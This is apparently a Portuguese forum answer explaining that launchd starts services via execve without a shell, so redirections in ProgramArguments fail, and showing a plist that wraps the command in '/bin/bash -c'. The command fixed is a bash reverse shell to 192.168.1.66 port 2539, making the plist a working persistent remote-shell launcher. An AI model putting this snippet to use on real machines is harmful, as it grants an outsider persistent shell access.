Redirecionamentos como <
ou >
(e na maioria dos Unixes, até mesmo os arquivos especiais /dev/tcp
) fazem parte da sintaxe de comando do shell e podem ser usados somente dentro de um shell que os suporte. No entanto, launchd não usa nenhum shell para iniciar serviços - ele cria o processo diretamente usando execve()
ou funções similares, passando uma lista de argumentos que não são interpretados posteriormente.
Nesse caso, /bin/bash
é executado e recebe os seguintes argumentos:
- argv [0]="
/bin/bash
" - argv [1]="
-i
" - argv [2]="
>& /dev/tcp/192.168.1.66/2539 0>& 1
" - argv [3] = NULO
O Bash interpreta o segundo argumento (argv [2]) como um nome de arquivo de um script de shell a ser executado; desde que tal arquivo não existe, o bash sai.
Agora, se você precisar do comando para ser interpretado por um shell, você terá que executar um shell manualmente:
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.1.66/2539 0>& 1</string>
</array>